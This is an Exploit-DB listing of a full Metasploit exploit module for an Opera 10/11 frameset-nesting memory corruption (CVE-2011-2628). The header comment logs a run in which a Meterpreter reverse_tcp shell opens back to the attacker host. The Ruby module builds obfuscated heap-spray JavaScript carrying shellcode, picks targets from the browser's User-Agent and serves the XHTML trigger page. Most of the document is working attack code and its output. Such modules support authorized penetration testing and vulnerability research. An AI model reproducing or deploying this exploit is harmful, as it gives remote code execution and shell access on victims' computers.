Opera 10/11 - Bad Nesting with Frameset Tag Memory Corruption (Metasploit)

EDB-ID:

17936




Platform:

Windows

Date:

2011-10-06


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###############################################################################################################
# Exploit for Opera 10/11 (bad nesting with frameset tag) Memory Corruption
#
# Vulnerability:
#
# Discovered: 2010-08-18
# Patched: 2011-05-18
# Tested on: v10.xx (v10.00, v10.01, v10.10, v10.50, v10.51, v10.52, v10.53, v10.54, v10.6, v10.61, v10.62 and v10.63)
#							v11.xx < v11.11 (v11.00, v11.01 and v11.10)
# Patched on: v11.11
#
# Exploit:
#
# Coded: 2010-09-23
# Last revision: 2011-09-30
#
# RCE on: v10.00, v10.50, v10.51, v10.52, v10.54, v10.60, v10.62, v11.00, v11.01 and v11.10*
# DoS on: v10.01, v10.10, v10.53, v10.61 and v10.63
#
# Notes:
#
#	1) DEP bypass: possible but unreliable.
#	2) Let me know if you improve this one ;)
#	3) Most of times, it won't work at first attempt and need crash-dialog interaction.
#
# Credits: Jose A. Vazquez of http://spa-s3c.blogspot.com
#
# Greets to: Ruben, Sinn3r, Metasploit Team, Corelan Team, etc
#
# Running against Opera v10.62...
#
#
#        =[ metasploit v4.0.1-dev [core:4.0 api:1.0]
# + -- --=[ 741 exploits - 378 auxiliary - 82 post
# + -- --=[ 228 payloads - 27 encoders - 8 nops
#        =[ svn r13801 updated 3 days ago (2011.09.27)
#
# msf > use windows/browser/opera_frameset_tag
# msf  exploit(opera_frameset_tag) > set payload windows/meterpreter/reverse_tcp
# payload => windows/meterpreter/reverse_tcp
# msf  exploit(opera_frameset_tag) > set LHOST 192.168.1.103
# LHOST => 192.168.1.103
# msf  exploit(opera_frameset_tag) > exploit
# [*] Exploit running as background job.
#
# [*] Started reverse handler on 192.168.1.103:4444
# msf  exploit(opera_frameset_tag) >
# [*] Using URL: http://0.0.0.0:8080/sUpFmezLW6jS
# [*]  Local IP: http://192.168.1.103:8080/sUpFmezLW6jS
# [*] Server started.
# [*] Sending Opera 10/11 (bad nesting with frameset tag) Memory Corruption to 192.168.1.104:1185 (target: Opera Browser (v10.6x - v11.xx) / Windows XP SP3 (DEP-default))
# [*] Sending stage 1 (Spraying the heap)
# [*] Sending stage 2 (Triggering the vulnerability)
# [*] Sending stage 2 (Triggering the vulnerability)
# [*] Sending stage 2 (Triggering the vulnerability)
# [*] Sending stage (752128 bytes) to 192.168.1.104
# [*] Meterpreter session 1 opened (192.168.1.103:4444 -> 192.168.1.104:1190) at 2011-09-30 19:23:28 +0200
# Interrupt: use the 'exit' command to quit
# msf  exploit(opera_frameset_tag) > sessions
#
# Active sessions
# ===============
#
#   Id  Type                   Information                              Connection
#   --  ----                   -----------                              ----------
#   1   meterpreter x86/win32  0XDE1-A39ED4C12\0xde1 @ 0XDE1-A39ED4C12  192.168.1.103:4444 -> 192.168.1.104:1190
#
# msf  exploit(opera_frameset_tag) > sessions -i 1
# [*] Starting interaction with 1...
#
# meterpreter > getuid
# Server username: 0XDE1-A39ED4C12\0xde1
# meterpreter > execute -f  calc.exe
# Process 1336 created.
# meterpreter > exit
# [*] Shutting down Meterpreter...
# msf  exploit(opera_frameset_tag) >
#
################################################################################################################

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	
	def initialize(info = {})
	
		super(update_info(info,
			'Name'           => 'Opera 10/11 (bad nesting with frameset tag) Memory Corruption',
			'Description'    => %q{
			
				This module exploits a vulnerability in the nesting of frameset and iframe tags as implemented within 
				Opera Browser. A memory corruption is triggered and some pointers got corrupted with invalid addresses. 
				Successfully exploiting leads to remote code execution or denial of service condition under Windows XP 
				SP3 (DEP = off).
				
				Note than most of cases, it won't work at first attempt and need crash-dialog interaction. 
				Read the last reference for further details.
				
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Jose A. Vazquez'
				],
			'Version'        => '$Revision: 0011 $',
			'References'     =>
				[
					['CVE', '2011-2628'],
					['OSVDB', '72406'],
					['BID', '47906'],
					['URL', 'http://www.opera.com/support/kb/view/992/'],
					['URL', 'http://www.beyondsecurity.com/ssd.html'],
					['URL', 'http://spa-s3c.blogspot.com/2011/05/spas3c-sv-004opera-browser-1111.html'],
					['URL', 'http://spa-s3c.blogspot.com/2011/09/spas3c-sv-004reliability-tests-ssd.html']
				],
			'DefaultOptions' =>
				{
					'EXITFUNC'          => 'process',
					'HTTP::compression' => 'gzip',
					'HTTP::chunked'     => true
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00",
					'Compat'   =>
						{
							'ConnectionType' => '-find',
						},
					'StackAdjustment' => -3500
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Automatic
					[ 'Automatic',
						{}
					],
					
					# Opera > v10.54 ~ spray of 350 MB
					[ 'Opera Browser (v10.6x - v11.xx) / Windows XP SP3 (DEP-default)',  
						{
							'SizeofSpray' => 700,
							'Ret' => 0x0c0c0c0c
						}
					],
					
					# Opera <= v10.54 ~ spray of 250 MB
					[ 'Opera Browser (v10.50 - v10.54) / Windows XP SP3 (DEP-default)',  
						{
							'SizeofSpray' => 500,
							'Ret' => 0x0c0c0c0c
						}
					],
					
					# Opera < v10.50 doesn't get crashed with previous method and it needs this one.
					[ 'Opera Browser (v10.00 - v10.10) / Windows XP SP3 (DEP-default)',  
						{
							'SizeofSpray' => 500,
							'Ret' => 0x0c0c0c0c
						}
					]
				],
			'DisclosureDate' => '5 October 2011',
			'DefaultTarget'  => 0))
			
	end
	
	#I don't know if Msf::Exploit::Remote::BrowserAutopwn works, but I'm going to include my own auto-target selection 
	
	def automatic_target(cli, request)

		thistarget = nil
	
		agent = request.headers['User-Agent']

		if agent =~ /Version\/10\.00/ or agent =~ /Version\/10\.01/ or agent =~ /Version\/10\.10/ 
			thistarget = targets[3]
		elsif agent =~ /Version\/10\.50/ or agent =~ /Version\/10\.51/ or agent =~ /Version\/10\.52/ or agent =~ /Version\/10\.53/ or agent =~ /Version\/10\.54/
			thistarget = targets[2]
		else
			thistarget = targets[1]
		end
		
		thistarget
		
	end
	
	def on_request_uri(cli, request)
	
		mytarget = target
		
		if target.name == 'Automatic'
			mytarget = automatic_target(cli, request)
		end
	
		if(request.uri =~ /\.xhtml$/)
		
			#Send file for trigger the vulnerability for cases > v10.10		
				
			html = %Q|
					<html xmlns="http://www.w3.org/1999/xhtml" xmlns:xht="http://www.w3.org/1999/xhtml">
					<meta http-equiv="refresh" content="0;url=" />	
						<xht:frameset>
							<xht:iframe>
								<xht:script>
								rbc
								</xht:script>
								<style type="text/css">
									<!-- /* padding CSS */

									approx:root{	
										font: 333em;
									}
									-->
								</style>
							</xht:iframe>
						</xht:frameset>
					</html>
				|
		
			#Send triggerer
		
			print_status("Sending stage 2 (Triggering the vulnerability)")
			
			var_contentype = 'application/xhtml+xml'
			
		else
			
			#Send payload + hide iframe for trigger the vuln
		
			#Re-generate the payload
		
			return if ((p = regenerate_payload(cli)) == nil)
			
			#Encode the shellcode
			
			shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch))
			
			#Ret
			
			addr_word  = [mytarget.ret].pack('V').unpack('H*')[0][0,4]
			
			#Randomize the javascript variable names
			
			var_buffer    	= 	rand_text_alpha(rand(30)+2)
			var_shellcode	= 	rand_text_alpha(rand(30)+2)
			var_unescape  	= 	rand_text_alpha(rand(30)+2)
			var_x         	= 	rand_text_alpha(rand(30)+2)
			var_i         	= 	rand_text_alpha(rand(30)+2)

			var_size      	= 	rand_text_alpha(rand(30)+2)
			var_nopsize   	= 	rand_text_alpha(rand(30)+2)
			var_limit     	= 	rand_text_alpha(rand(30)+2)
			
			var_function_trigger 	= 	rand_text_alpha(rand(30)+2)
			var_file_trigger	=	rand_text_alpha(rand(30)+2)
			
			var_timer_trigger = (rand(3) + 2) * 1000
			
			#Build the exploit
			
			var_url =  ((datastore['SSL']) ? "https://" : "http://")
			var_url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'])
			var_url << ":" + datastore['SRVPORT']
			var_url << get_resource
			
			#Sending init HTML
			print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})")
			
			if mytarget.name =~ /v10.00/
			
			# Case v10.00 - v10.10
			
				html = %Q|
					<html xmlns="http://www.w3.org/1999/xhtml" xmlns:xht="http://www.w3.org/1999/xhtml">
						<xht:frameset>
							<xht:iframe>
								<xht:script>
									aaaaaa
								</xht:script>
							</xht:iframe>
						</xht:frameset>
						<script type="text/javascript">
							<![CDATA[
								var #{var_unescape}  = unescape;
								var #{var_shellcode} = #{var_unescape}("#{shellcode}");

								var #{var_size} = #{var_shellcode}.length * 2;
								var #{var_nopsize} = 0x100000 - (#{var_size} + 0x14);
								var #{var_buffer} = #{var_unescape}("%u#{addr_word}");
														
								while ( #{var_buffer}.length * 2 < #{var_nopsize} ) {
									#{var_buffer} += #{var_buffer};
								}

								var #{var_x} = new Array();
									
								for ( var #{var_i} =0; #{var_i} < #{mytarget['SizeofSpray']}; #{var_i}++ ) {
									#{var_x}[ #{var_i} ] = #{var_buffer} + #{var_shellcode};
								}
								setInterval("location.reload()", 500);
							]]>
						</script>
					<html>
					|	
		
				print_status("Sending simple stage (Sprayer and Triggerer)")
				var_contentype = 'application/xhtml+xml'
			
			else
			
			# Case > v10.10
			
				html = %Q|
						<html>
							<head>
								<script type="text/javascript">
									var #{var_unescape}  = unescape;
									var #{var_shellcode} = #{var_unescape}("#{shellcode}");

									var #{var_size} = #{var_shellcode}.length * 2;
									var #{var_nopsize} = 0x100000 - (#{var_size} + 0x14);
									var #{var_buffer} = #{var_unescape}("%u#{addr_word}");
													
									while ( #{var_buffer}.length * 2 < #{var_nopsize} ) {
										#{var_buffer} += #{var_buffer};
									}

									var #{var_x} = new Array();
									
									for ( var #{var_i} =0; #{var_i} < #{mytarget['SizeofSpray']}; #{var_i}++ ) {
										#{var_x}[ #{var_i} ] = #{var_buffer} + #{var_shellcode};
									}
									
									function #{var_function_trigger}(){
										document.write("<iframe src='#{var_url}/#{var_file_trigger}.xhtml'></iframe>");
									}
									
									setTimeout('#{var_function_trigger}()',#{var_timer_trigger});
									
								</script>
							</head>
						<html>
					|	
					
				print_status("Sending stage 1 (Spraying the heap)")
				var_contentype = 'text/html'
				
			end
				
		end
	
		#Response
		send_response(cli, html, { 'Content-Type' => var_contentype, 'Pragma' => 'no-cache' })
		#Handle the payload			
		handler(cli)
		
	end
	
end